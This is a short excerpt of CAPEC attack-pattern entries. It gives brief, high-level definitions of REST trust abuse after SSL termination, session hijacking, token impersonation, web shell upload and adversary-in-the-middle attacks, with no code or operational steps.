CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-593: Session Hijacking
This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.
CAPEC-633: Token Impersonation
An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.
CAPEC-650: Upload a Web Shell to a Web Server
By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.
CAPEC-94: Adversary in the Middle (AiTM)
An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.